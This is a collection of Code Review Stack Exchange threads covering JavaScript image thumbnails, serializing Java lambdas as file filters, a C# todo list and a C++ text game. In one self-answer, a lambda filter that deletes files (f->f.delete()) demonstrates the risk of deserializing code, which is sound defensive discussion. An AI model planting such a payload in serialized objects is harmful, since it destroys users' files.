}\n</script>\n<input type="file" multiple accept="image/*" onchange="upload(this)"/>\n</code></pre>\n<p>A couple of quick notes about this solution:</p>\n<ul>\n<li>An added benefit is that the <a href=\"https://html.spec.whatwg.org/multipage/input.html#:%7E:text=User%20agents%20may%20use%20the%20value%20of%20this%20attribute%20to%20display%20a%20more%20appropriate%20user%20interface%20than%20a%20generic%20file%20picker.\" rel=\"nofollow noreferrer\">HTML specification allows user agents to use this constraint to display only images in the file picker dialog</a>.</li>\n<li>As mentioned in the spec, <a href=\"https://html.spec.whatwg.org/multipage/input.html#:%7E:text=Authors%20are%20reminded%20that%2C%20as%20usual%2C%20data%20received%20from%20a%20client%20should%20be%20treated%20with%20caution%2C%20as%20it%20may%20not%20be%20in%20an%20expected%20format%20even%20if%20the%20user%20is%20not%20hostile%20and%20the%20user%20agent%20fully%20obeyed%20the%20accept%20attribute%27s%20requirements.\" rel=\"nofollow noreferrer\">there is still no guarantee that uploaded files will <em>really, <strong>really</strong> be images</em></a>. We will keep this in mind for the last step.</li>\n</ul>\n<h2>➡️️ How do you get a thumbnail from an uploaded file?</h2>\n<p>Now that we allow only images, we need a way to display uploaded files as thumbnails. You did a good job discovering that you can use the <code>FileReader</code> API to transform a <code>File</code> to an <code>img</code> in the DOM. The method itself is solid, but the approach could be a bit more tactical. This will be the largest code chunk of this answer, so I'm going to annotate it using comments.</p>\n<pre class=\"lang-html prettyprint-override\"><code><script>\n const files = [];\n\n function upload (input) {\n files.push(...input.files);\n updateThumbnails();\n }\n\n function remove (name) {\n const index = files.findIndex(file => file.name === name);\n if (index === -1) return;\n files.splice(index, 1);\n updateThumbnails();\n }\n\n function makeThumbnail (file) {\n // We need to use all sorts of asynchronous methods to read files and create images\n // so we are returning a new Promise, which allows us to specify when the loading is done\n // and in turn run code only after we say it's done.\n // If you don't know about promises, you really should read up on them!\n return new Promise((resolve) => {\n const reader = new FileReader();\n\n function onLoad (event) {\n // We create a function that we will run when our FileReader successfully\n // reads a file\n const img = new Image(200, 200); // we can use the Image API to directly specify size and skipping the whole "document.createElement" bit\n img.alt = file.name; // We can use the filename as an alt. We don't need a counter\n\n img.onload = () => resolve(img); // If an image could be constructed from the data, we resolve our promise with that image\n img.onerror = () => resolve(null); // We need a representation for a failed image. You could reject the promise, but that would require catching errors and all that yucky stuff. We can just resolve the special value "null" so we can handle it later on\n\n img.src = event.target.result; // start loading our dataUrl\n }\n\n reader.onload = onLoad; // If the reader sucessfully made a dataUrl, trigger the onLoad function we defined.\n reader.onerror = () => resolve(null); // If the reader couldn't create a dataUrl, there's no point in trying to make an image from it, so we resolve with "null" to signify a failed load\n\n reader.readAsDataURL(file); // Start the entire loading logic\n });\n }\n\n // This is a little helper function that removes all children of an element.\n function removeChildren (node) {\n while (node.lastChild)\n node.lastChild.remove();\n return node;\n }\n\n function updateThumbnails () {\n const thumbnails = document.getElementById("thumbnails");\n Promise\n .all(files.map(makeThumbnail)) // Promise.all(promises) creates a promise that resolve when all "promises" have been resolved. This will be the array of our images or nulls.\n .then(images => images.filter(img => img !== null)) // For our case we just want to ignore failed thumbnails, but you can do smarter things here.\n .then(images => removeChildren(thumbnails).append(...images)); // When we have new thumbnails, remove the old thumbnails and add the new ones.\n }\n</script>\n<input type="file" multiple accept="image/*" onchange="upload(this)"/>\n<div id="thumbnails"></div>\n</code></pre>\n<p><img src=\"https://i.ibb.co/7g6M0L2/yahooo.png\" alt=\"\" /></p>\n<p><em>It works!</em></p>\n<p>A couple of quick notes about this solution:</p>\n<ul>\n<li>Like I said in the first comment, you're going to need a solid understanding of <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\" rel=\"nofollow noreferrer\">Promises</a>. If I were to go into detail here this answer would become far too large.</li>\n<li>A thumbnail typically is a version of an image with a much smaller resolution to save data. This solution just loads the entire image into memory, which could be troublesome in case of many uploaded files.</li>\n</ul>\n<h2>️❌ How do you link the remove functionality to a thumbnail?</h2>\n<p>Now that we have thumbnails and know what it means to remove a file, we can link these together. This is now an easy step.</p>\n<pre class=\"lang-html prettyprint-override\"><code><script>\n const files = [];\n\n function upload (input) {\n files.push(...input.files);\n updateThumbnails();\n }\n\n function remove (name) {\n const index = files.findIndex(file => file.name === name);\n if (index === -1) return;\n files.splice(index, 1);\n updateThumbnails();\n }\n\n function makeThumbnail (file) {\n return new Promise((resolve) => {\n const reader = new FileReader();\n\n function onLoad (event) {\n const img = new Image(200, 200);\n img.alt = file.name;\n\n img.onload = () => {\n // instead of directly resolving with img, we create a container and\n // resolve our promise with the container instead\n const container = document.createElement("div");\n container.classList.add("thumbnail"); // add a class so you can style it using css or something fun\n\n const button = document.createElement("button");\n\n // This is the interesting part! We have access to the "remove" function here,\n // as well as the "file" and its name. We can use those to remove the file when\n // we click the button, which in turn triggers a re-render of the thumbnails.\n button.addEventListener("click", () => remove(file.name));\n\n container.append(img, button);\n resolve(container);\n };\n\n img.onerror = () => resolve(null);\n\n img.src = event.target.result;\n }\n\n reader.onload = onLoad;\n reader.onerror = () => resolve(null);\n\n reader.readAsDataURL(file);\n });\n }\n\n function removeChildren (node) {\n while (node.lastChild)\n node.lastChild.remove();\n return node;\n }\n\n function updateThumbnails () {\n const thumbnails = document.getElementById("thumbnails");\n // A little extra code to reset the input after every load.\n // This way you can upload the same files again.\n const input = document.getElementById("files");\n input.value = "";\n Promise\n .all(files.map(makeThumbnail))\n .then(images => images.filter(img => img !== null))\n .then(images => removeChildren(thumbnails).append(...images));\n }\n</script>\n<input id="files" type="file" multiple accept="image/*" onchange="upload(this)"/>\n<div id="thumbnails"></div>\n</code></pre>\n<p>A couple of quick notes about this solution:</p>\n<ul>\n<li>Since some files may share the same name, upon removing an image, it will remove the first image from the array with that name. We can't do much about that using the native API, but you could assign some <code>id</code> to every file upon "uploading" them. That shouldn't be too hard.</li>\n<li>All this work really only gives us a DOM representation of our input, but if you would like to upload these files using a <code><form></code> you're out of luck. You would need to define custom logic in order to upload the <code>const files</code> array upon form submission -- but since we're already heavy into JavaScript-land here, you might just want to do that. In that case, have a look at <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch\" rel=\"nofollow noreferrer\">the Fetch API which allows you to post blob data</a> (Files implement the Blob interface).</li>\n</ul>\n<hr />\n<h1> Conclusion</h1>\n<p>We've done it -- through blood, sweat and tears perhaps.</p>\n<p>Hopefully you learned a thing or two, otherwise this was probably really boring... :)</p>\n<p>So how did we do according to my metric of</p>\n<blockquote>\n<p>how much smaller you can make a file or function, while maintaining full functionality and maintaining or improving readability</p>\n</blockquote>\n<p>Well we increased the size of the code... We went from 34 lines to 50. However, there's an important reason: we only care for less code <em><strong>while maintaining full functionality and maintaining or improving readability</strong></em>. We increased functionality, and also made sure the code is actually always correct in a happy flow.</p>\n<p>To link that to your inquiry about "robustness": we defined what it means for your code to work, and we made sure it works in every case we want it to. That's robust code in my opinion.</p>\n<p>I would also argue that, since we've neatly packed our functionality into reasonably small functions, it's crystal clear what each part of the code does. Your snippet was clear to me as well, so it's not an improvement per se, but that's quite the achievement when you change a large part of the code.</p>\n<p>The main takeaways are:</p>\n<ul>\n<li>Define the problem, then define the problem, then define the problem...</li>\n<li>Think about what the code <em>should</em> do, but also about what it <em>shouldn't</em> do (and make sure it doesn't).</li>\n<li>Whenever asynchronous code will run, such as events, you could probably use a Promise to streamline the interface.</li>\n<li>I would personally like it better if you would use only <em>one</em> way of defining functions. There are subtle differences in implementation between <code>function</code> and <code>() => {}</code> but you're not leveraging those differences. You could just use either notation to be consistent and reduce the amount of "WTF?!"'s coming from the review room.</li>\n</ul>\n<p><img src=\"https://i2.wp.com/commadot.com/wp-content/uploads/2009/02/wtf.png?resize=550%2C433\" alt=\"\" /></p>\n<p>You're already quite proficient with JavaScript; you're using fancy syntax such as <code>const</code> and <code>() => body</code>, you have researched and understood intricate concepts of the browser environment and you're using as much vanilla JS and HTML as possible. Very nice!</p>\n<p>Here's the final snippet:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Document</title>\n</head>\n<body>\n <script>\n const files = [];\n\n function upload (input) {\n files.push(...input.files);\n updateThumbnails();\n }\n\n function remove (name) {\n const index = files.findIndex(file => file.name === name);\n if (index === -1) return;\n files.splice(index, 1);\n updateThumbnails();\n }\n\n function makeThumbnail (file) {\n return new Promise((resolve) => {\n const reader = new FileReader();\n\n function onLoad (event) {\n const img = new Image(200, 200);\n img.alt = file.name;\n\n img.onload = () => {\n const container = document.createElement(\"div\");\n container.classList.add(\"thumbnail\");\n\n const button = document.createElement(\"button\");\n button.textContent = \"❌\";\n button.addEventListener(\"click\", () => remove(file.name));\n\n container.append(img, button);\n resolve(container);\n };\n\n img.onerror = () => resolve(null);\n\n img.src = event.target.result;\n }\n\n reader.onload = onLoad;\n reader.onerror = () => resolve(null);\n\n reader.readAsDataURL(file);\n });\n }\n\n function removeChildren (node) {\n while (node.lastChild)\n node.lastChild.remove();\n return node;\n }\n\n function updateThumbnails () {\n const thumbnails = document.getElementById(\"thumbnails\");\n const input = document.getElementById(\"files\");\n input.value = \"\";\n Promise\n .all(files.map(makeThumbnail))\n .then(images => images.filter(img => img !== null))\n .then(images => removeChildren(thumbnails).append(...images));\n }\n </script>\n <input type=\"file\" id=\"files\" multiple accept=\"image/*\" onchange=\"upload(this)\"/>\n <div id=\"thumbnails\"></div>\n</body>\n</html></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T20:04:39.533",
"Id": "513827",
"Score": "0",
"body": "This is gold! Thank you a lot!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T13:33:03.283",
"Id": "260300",
"ParentId": "260224",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260300",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T11:33:54.693",
"Id": "260224",
"Score": "2",
"Tags": [
"javascript"
],
"Title": "File uploads with image previews and remove link using Array and readAsDataURL"
}
|
260224
|
<p>I'm practicing saving and reading serializable objects when a friend told me serializable objects have no use in real life, that I'd better focus on JSON or XML to serialize my objects when I came across this situation:</p>
<p>I want to preload some FileFilters to use them in a JFileChooser dialog and I want these Filefilters to have more complicated behaviour than just file extension.</p>
<p>The code works fine but I've read there could be some security issues saving executable code and reading it later. Is it true? Can they be avoided?</p>
<p>I had to implement my own interface of Predicate due to the fact that Predicate is not Serializable.</p>
<pre><code>import java.io.File;
import java.io.Serializable;
public interface MyPredicate extends Serializable {
boolean isValid(File file);
}
</code></pre>
<p>This is the class that defines how the filters are going to be set (It's called List despite the fact that uses internally a Map just in case implementation changes).</p>
<pre><code>import java.io.Serializable;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
public class FileFilterList implements Serializable {
private Map<String, MyPredicate> filters;
public FileFilterList() {
this.filters = new HashMap<>();
}
public FileFilterList addFilter(String string, MyPredicate predicate) {
this.filters.put(string, predicate);
return this;
}
public Iterator<Map.Entry<String, MyPredicate>> getIterator() {
return this.filters.entrySet().iterator();
}
}
</code></pre>
<p>In this little program I save a list of filters in a file</p>
<pre><code>import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SaveFileFilter {
public static void main(String[] args) throws IOException {
FileFilterList filterList = new FileFilterList();
filterList
.addFilter("txt, Text files", f -> f.isDirectory() || f.getName().endsWith(".txt"))
.addFilter("Big txt, Big txt files (>1Kb)", f -> f.isDirectory() || (f.getName().endsWith(".txt") || f.length() > 1024))
.addFilter("Small txt, Small txt file (<=1Kb)", f -> f.isDirectory() || (f.getName().endsWith(".txt") || f.length() <= 1024));
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("filters.obj"))) {
oos.writeObject(filterList);
} catch (IOException ioe) {
System.err.println("Sorry, there wa a problem saving filters");
ioe.printStackTrace();
throw ioe;
}
}
}
</code></pre>
<p>And this would be the main program that get the preset file filter list:</p>
<pre><code>import javax.swing.*;
import javax.swing.filechooser.FileFilter;
import java.io.*;
public class FileFilterUse {
public static void main(String[] args) throws IOException, ClassNotFoundException {
JFileChooser fileChooser = new JFileChooser();
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("filters.obj"))) {
FileFilterList filterList = (FileFilterList) ois.readObject();
filterList.getIterator().forEachRemaining(
(entry) -> fileChooser.addChoosableFileFilter(new FileFilter() {
@Override
public boolean accept(File f) {
return entry.getValue().isValid(f);
}
@Override
public String getDescription() {
return entry.getKey();
}
}));
fileChooser.showOpenDialog(null);
} catch (IOException ioe) {
System.err.println("There was a problem reading filters file");
ioe.printStackTrace();
throw ioe;
} catch (ClassNotFoundException cnf) {
System.err.println("File format is not correct");
cnf.printStackTrace();
throw cnf;
}
}
}
</code></pre>
<p>Every java file has a package line.</p>
<p>I guess it is not possible to achive this serializing objects to JSON or XML, is it?</p>
<p>By the way, any comment about the code would be very appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:03:13.397",
"Id": "513697",
"Score": "2",
"body": "I don't think you are really asking for a code review. Rather, I think this is a general question about 1) whether serialization of lambdas presents a security issue, and 2) if there is a way to achieve the equivalent of a serialized lambda using JSON or XML. You should ask it on StackOverflow."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T14:04:32.737",
"Id": "513726",
"Score": "0",
"body": "For future reference variable names like `MyPredicate` make the code seem hypothetical. The code must be real working code from a project."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T05:21:02.550",
"Id": "513854",
"Score": "0",
"body": "See Holger's answer in https://stackoverflow.com/questions/38018415/how-to-safely-serialize-a-lambda esp. the parts about being unreliable and having security issues. Generally, consider this a bad idea™."
}
] |
[
{
"body": "<p>I'm going to answer my own question. Never do this!. I have just tried saving a new Filefilter object with this filter:</p>\n<pre><code>.addFilter("Delete files, Delete all files",f->f.delete());\n</code></pre>\n<p>And when selected, it deletes all the files in the current directory.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T18:41:43.150",
"Id": "260388",
"ParentId": "260228",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T17:52:39.940",
"Id": "260228",
"Score": "0",
"Tags": [
"java",
"swing",
"lambda"
],
"Title": "Correct use of Serializable with lambda functions"
}
|
260228
|
<p>I am new to c# and decided to write a classic todo app. The implementation of my application now is like this: there is a Task class that describes the task. The List class acts simultaneously as a storage and has methods for creating, deleting, and displaying tasks. How good is this approach, how can you do better (if possible)? I would like a full code review.</p>
<p>There is Program.cs:</p>
<pre class="lang-cs prettyprint-override"><code>using System;
namespace ToDo
{
class Program
{
static void Main(string[] args)
{
List list = new List();
list.AddTask("Task №1");
list.AddTask("Task №2");
list.AddTask("Task №3");
list.AddTask("Task №4");
list.AddTask("Task №5");
list.WriteTasks();
list.RemoveTask(2);
list.WriteTasks();
}
}
}
</code></pre>
<p>List.cs:</p>
<pre class="lang-cs prettyprint-override"><code>using System;
using System.Collections.Generic;
using System.Text;
namespace ToDo
{
class List
{
private List<Task> tasks = new List<Task>();
public void AddTask(string body)
{
tasks.Add(new Task() { Body = body });
}
public void WriteTasks()
{
for (int i = 0; i < tasks.Count; i++)
{
Console.WriteLine($"[{i+1}]: {tasks[i].Body}");
}
Console.ReadKey();
}
public void RemoveTask(int number)
{
for (int i = 0; i < tasks.Count; i++)
{
if (number == i + 1)
{
tasks.RemoveAt(i);
}
}
}
}
}
</code></pre>
<p>Task.cs:</p>
<pre class="lang-cs prettyprint-override"><code>using System;
using System.Collections.Generic;
using System.Text;
namespace ToDo
{
class Task
{
public string Body { get; set; }
}
}
</code></pre>
|
[] |
[
{
"body": "<p>As a very basic application this is fine, however, if the program becomes more complicated and you want to add a data base and asynchronous programming you will run into conflicts with some of the class names. For instance the Task class is supplied by the C# library for <a href=\"https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/async/\" rel=\"nofollow noreferrer\">asynchronous programming</a>.</p>\n<p>If I was going to implement a task list application I would have a few more properties for the task class, such as:</p>\n<ul>\n<li>Priority</li>\n<li>Status (not started, started, in progress, completed).</li>\n<li>Due date</li>\n<li>Name</li>\n<li>Description</li>\n</ul>\n<p>These are the minimum I would use, some additional properties might be</p>\n<ul>\n<li>Assigned to</li>\n<li>Assigned by</li>\n</ul>\n<p>if this was a multi-user task list.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T21:14:16.137",
"Id": "260236",
"ParentId": "260232",
"Score": "2"
}
},
{
"body": "<p>I agree with what pacmaninbw says, just a couple more things:</p>\n<p>For a task object the minimum I'd have is an <code>Id</code> property (unique, make it a private set and initialize it in the constructor), <code>Name</code> (doesn't have to be unique but might be better from a user perspective), and <code>Description</code> (doesn't need to be unique). If you end up storing this in a database you'll probably index on the <code>Id</code> property.</p>\n<p>If you end up adding more properties to the task I'd recommend overriding the <code>ToString()</code> method to print out a more detailed description of the object in your <code>WriteTask</code> method.</p>\n<p>I see there's an emphasis on the index of the task (<code>WriteTasks</code> prints out the index of the task, <code>RemoveTask</code> requires an index to remove the task). A user is not going to care about where in the list a task is stored - for example they will most likely want to delete by name, id, etc.</p>\n<p><code>WriteTasks</code> can be simplified to</p>\n<pre><code>tasks.ForEach(x => Console.WriteLine(x.Body));\n</code></pre>\n<p>and <code>RemoveTask</code> can be simplified to something like the below, no need for the iteration.</p>\n<pre><code>if (number <= list.Count()) {\n list.RemoveAt(number - 1);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T23:47:30.060",
"Id": "260321",
"ParentId": "260232",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260236",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T20:27:33.293",
"Id": "260232",
"Score": "1",
"Tags": [
"c#"
],
"Title": "Todo application implementation"
}
|
260232
|
<p>In order to help with learning C++, I have been re-implementing games from old ZX80 books in C++. Here' the description of one I'm currently working on:</p>
<blockquote>
<p>You are a starship captain. You have crashed your ship on a strange planet and must take off again quickly in the alien ship you have captured. The ship's computer tells you the gravity on the planet. You must guess the force required for a successful take off. If you guess too low, the ship will not lift off the ground. If you guess too high, the ship's fail-safe mechanism comes into operation to prevent it being burnt up. If you are still on the planet after ten tries, the aliens will capture you.</p>
</blockquote>
<p>Any feedback on whether my implementation is good and idiomatic C++, and if not how it could be improved, would be greatly appreciated.</p>
<p>It is probably over-engineered for what it is, but I tried to use it as an exercise in things like:</p>
<ul>
<li>Operator overloading</li>
<li>Using the type system to help with validating user input (see the <code>Guess</code> class.</li>
<li>I haven't included the unit tests here, but the code was written so that the main logic could be tested.</li>
</ul>
<h1>game.h</h1>
<pre><code>#ifndef GAME_H
#define GAME_H
#include <string>
enum class GuessResponse { TooLow, TooHigh, TakeOff, GameOver };
std::ostream& operator<<(std::ostream& os, const GuessResponse response);
class CountDown {
public:
CountDown(int start);
void decrement();
bool is_finished() const;
private:
int value_;
};
class Guess final {
public:
Guess() {};
Guess(int value);
void setValue(int value);
friend bool operator>(const Guess& guess, const int other);
friend bool operator<(const Guess& guess, const int other);
friend bool operator>=(const Guess& guess, const int other);
friend bool operator<=(const Guess& guess, const int other);
friend bool operator==(const Guess& guess, const int other);
friend bool operator!=(const Guess& guess, const int other);
private:
int value_{1};
};
std::istream& operator>>(std::istream& is, Guess& guess);
class SpaceTakeoffGame {
public:
SpaceTakeoffGame(int gravity, int weight);
GuessResponse make_guess(const Guess& guess);
bool over() const;
private:
const int gravity_;
const int weight_;
const int force_;
CountDown tries_remaining_{10};
bool over_{false};
};
#endif
</code></pre>
<h1>game.cpp</h1>
<pre><code>#include "game.h"
#include <string>
#include <stdexcept>
#include <ios>
#include <istream>
SpaceTakeoffGame::SpaceTakeoffGame(const int gravity, const int weight)
: gravity_{ gravity },
weight_{ weight },
force_{ weight * gravity } {}
GuessResponse SpaceTakeoffGame::make_guess(const Guess& guess) {
if (tries_remaining_.is_finished()) {
over_ = true;
return GuessResponse::GameOver;
}
tries_remaining_.decrement();
if (guess > force_) {
return GuessResponse::TooHigh;
}
if (guess < force_) {
return GuessResponse::TooLow;
}
over_ = true;
return GuessResponse::TakeOff;
}
bool SpaceTakeoffGame::over() const {
return over_;
}
CountDown::CountDown(const int start): value_{ start } {}
void CountDown::decrement() {
if (value_ > 0) {
value_ -= 1;
}
}
bool CountDown::is_finished() const {
return value_ == 0;
}
std::ostream& operator<<(std::ostream& os, const GuessResponse response) {
switch(response) {
case GuessResponse::TooHigh: {
os << std::string{"TOO HIGH, TRY AGAIN"};
break;
}
case GuessResponse::TooLow: {
os << std::string{"TOO LOW, TRY AGAIN"};
break;
}
case GuessResponse::TakeOff: {
os << std::string{"GOOD TAKE OFF"};
break;
}
default: {
os << std::string{"YOU FAILED - THE ALIENS GOT YOU"};
break;
}
}
return os;
}
Guess::Guess(int value) {
setValue(value);
}
void Guess::setValue(int value) {
if (value < 1) throw std::invalid_argument{ "Guess must be a positive integer" };
value_ = value;
}
std::istream& operator>>(std::istream& is, Guess& guess) {
int n;
is >> n;
if (is.fail()) {
return is;
}
try {
guess.setValue(n);
} catch (std::invalid_argument&) {
is.setstate(std::ios::failbit);
}
return is;
}
bool operator>(const Guess& guess, const int other) {
return guess.value_ > other;
}
bool operator<(const Guess& guess, const int other) {
return guess.value_ < other;
}
bool operator>=(const Guess& guess, const int other) {
return !(guess < other);
}
bool operator<=(const Guess& guess, const int other) {
return !(guess > other);
}
bool operator==(const Guess& guess, const int other) {
return !(guess < other || guess > other);
}
bool operator!=(const Guess& guess, const int other) {
return !(guess == other);
}
</code></pre>
<h1>main.cpp</h1>
<pre><code>#include <iostream>
#include <random>
#include <limits>
#include <ios>
#include "game.h"
int main()
{
std::random_device rd;
std::mt19937_64 eng(rd());
std::uniform_int_distribution<int> gravity_distr{1, 20};
std::uniform_int_distribution<int> weight_distr{1, 40};
const auto gravity = gravity_distr(eng);
const auto weight = weight_distr(eng);
SpaceTakeoffGame game(gravity, weight);
std::cout << "STARSHIP TAKE-OFF\n"
<< "GRAVITY=" << gravity << "\n"
<< "TYPE IN FORCE" << std::endl;
do {
Guess guess;
std::cin >> guess;
if (std::cin.fail()) {
std::cin.clear();
std::cin.ignore(std::numeric_limits<std::streamsize>::max(),'\n');
std::cout << "INVALID GUESS, TRY AGAIN" << std::endl;
continue;
}
std::cout << game.make_guess(guess) << std::endl;
} while (!game.over());
return 0;
}
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<h1>Define simple member functions in the header files</h1>\n<p>If you define member functions inside the class definition, they can be inlined by the compiler. For simple functions, like <code>CountDown::is_finished()</code>, this will generate much more efficient code, even on a Z80.</p>\n<h1>Unnecessary casts to <code>std::string</code></h1>\n<p>There are several unnecessary casts to <code>std::string</code> in your code, for example:</p>\n<pre><code>os << std::string{"TOO HIGH, TRY AGAIN"};\n</code></pre>\n<p>You can just write this as:</p>\n<pre><code>os << "TOO HIGH, TRY AGAIN";\n</code></pre>\n<h1>Choice of random number generator</h1>\n<p>While <code>std::mt19937_64</code> is a very nice random number generator, it has a very large internal state of 19937 bits (hence its name), which is 2493 bytes. This is a huge amount of space to waste on an 8-bit machine. It also uses 64-bit integer arithmetic, which is less desirable on an 8-bit machine. On the other hand, it is one of the faster <a href=\"https://en.cppreference.com/w/cpp/numeric/random\" rel=\"nofollow noreferrer\">random number generator algorithms</a> available in the standard library.</p>\n<p>If space is of a premium, then consider using a simpler RNG, in particular the linear congruential based ones only need a handful of bytes. For a game like this, you don't need a high quality RNG.</p>\n<h1>Avoid using exceptions for handling input errors</h1>\n<p>Exceptions do have some cost associated to them, even if you don't cause anything to <code>throw</code>. The compiler must generate the required code or data to be able to handle stack unwinding. On a regular PC, I would normally consider that an acceptable price to pay, but on a Z80 machine this price will be relatively high. Exceptions should also be used only in very exceptional situations that the code cannot deal with, but in this case it is quite trivial to handle invalid inputs without having to <code>throw</code>. There are several ways to handle this, I would just remove <code>setValue()</code>, and make <code>operator>></code> a <code>friend</code> function, like so:</p>\n<pre><code>class Guess {\npublic:\n ...\n friend std::istream& operator>>(std::istream& is, Guess& guess);\n ...\n};\n\nstd::istream& operator>>(std::istream& is, Guess& guess) {\n int n;\n\n if ((is >> n) && n >= 1) {\n guess.value_ = n;\n } else {\n is.setstate(std::ios::failbit);\n }\n\n return is;\n} \n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:15:18.027",
"Id": "513737",
"Score": "0",
"body": "Good catch on the random number generator. I overlooked that entirely."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T18:24:58.593",
"Id": "514025",
"Score": "0",
"body": "Thanks. Just to clarify, I'm not writing this for ZX80 (didn't even know you could write C++ for ZX80), I'm just using the projects as code \"writing prompts\"."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T14:35:57.020",
"Id": "260259",
"ParentId": "260233",
"Score": "2"
}
},
{
"body": "<p>Here are some things that may help you improve your code.</p>\n<h2>Make sure you have all required <code>#include</code>s</h2>\n<p>The code in <code>game.h</code> refers to <code>std::ostream</code> and <code>std::istream</code> but doesn't <code>#include <iostream></code> where those are defined. Also, carefully consider which <code>#include</code>s are part of the interface (and belong in the <code>.h</code> file) and which are part of the implementation. The <code><string></code> header is only needed in <code>game.cpp</code> and not in <code>game.h</code>.</p>\n<h2>Not everything needs to be a class</h2>\n<p>Learning about object-oriented programming is useful, but it's also worth noting that sometimes a <code>class</code> is not necessarily the best approach. The <code>Guess</code> class is a rather elaborate wrapper around a plain <code>int</code>. I think I'd just use an <code>int</code>. The same is true of <code>CountDown</code>.</p>\n<h2>Don't save values you don't need</h2>\n<p>The <code>SpaceTakeoffGame</code> constructor takes <code>gravity</code> and <code>weight</code> as arguments and calculates <code>force_</code> from that. First, from a physics standpoint, that should be <code>mass</code> rather than <code>weight</code>. Second, neither <code>gravity</code> nor <code>weight</code> are ever used again, so there's not much need to save them.</p>\n<h2>Don't use exceptions to validate user input</h2>\n<p>An exception should be exceptional. Having a user input a negative number is not particularly exceptional; I'd suggest just checking the value without using exceptions.</p>\n<h2>Don't construct objects needlessly</h2>\n<p>The code currently contains this line:</p>\n<pre><code>os << std::string{"TOO HIGH, TRY AGAIN"};\n</code></pre>\n<p>This forces the compiler to create a string, pass it to the stream and then destroy the string. Better would be to just write this:</p>\n<pre><code>os << "TOO HIGH, TRY AGAIN";\n</code></pre>\n<h2>Avoid unnecessary complexity</h2>\n<p>Since this is a very simple game, I would probably avoid all of the classes and put the whole game into a simple function.</p>\n<pre><code>#include <iostream>\n#include <limits>\n#include <random>\n\nvoid play(int force) {\n bool takeoff{false};\n for (unsigned tries{10}; !takeoff && tries; --tries) {\n int guess{0};\n while (guess < 1) {\n std::cin >> guess;\n if (guess < 1) {\n if (std::cin.fail()) {\n std::cin.clear();\n std::cin.ignore(std::numeric_limits<std::streamsize>::max(),'\\n');\n }\n std::cout << "INVALID GUESS, TRY AGAIN" << std::endl;\n }\n }\n if (guess == force) {\n takeoff = true;\n } else if (guess < force && tries > 1) {\n std::cout << "TOO LOW, TRY AGAIN\\n";\n } else if (guess > force && tries > 1) {\n std::cout << "TOO HIGH, TRY AGAIN\\n";\n }\n } \n std::cout << (takeoff ? "GOOD TAKE OFF\\n" :\n "YOU FAILED - THE ALIENS GOT YOU\\n");\n}\n\nint main() {\n std::random_device rd;\n std::mt19937 eng(rd());\n\n std::uniform_int_distribution<int> gravity_distr{1, 20};\n std::uniform_int_distribution<int> mass_distr{1, 40};\n\n const auto gravity{gravity_distr(eng)};\n const auto force{gravity * mass_distr(eng)};\n\n std::cout << "STARSHIP TAKE-OFF\\n"\n "GRAVITY=" << gravity \n << "\\nTYPE IN FORCE\\n";\n play(force);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:11:16.360",
"Id": "260264",
"ParentId": "260233",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260259",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T20:38:16.223",
"Id": "260233",
"Score": "4",
"Tags": [
"c++",
"game"
],
"Title": "ZX80 game in C++"
}
|
260233
|
<p>Is there a way to simplify my code underneath? Basically I'm drawing a series of rectangles against each other on a mouse dragged event. The negative numbers are read from a 2D array in an other class (Board).
I'm using positive numbers for dots (you need to connect dots with beams/blocks) also in an other class. That's why I'm using the negative numbers.
Every case in the switch statement does the same action except for the color selection: setFill(Color.)
The cases range from -1 tot -9.
I'm only posting 2 cases to reduce the code on this page. You can clearly see the repetition of code.
I'm new to coding since this year.</p>
<pre><code> view.getCanvas().setOnMouseDragged(new EventHandler<MouseEvent>() {
@Override
public void handle(MouseEvent event) {
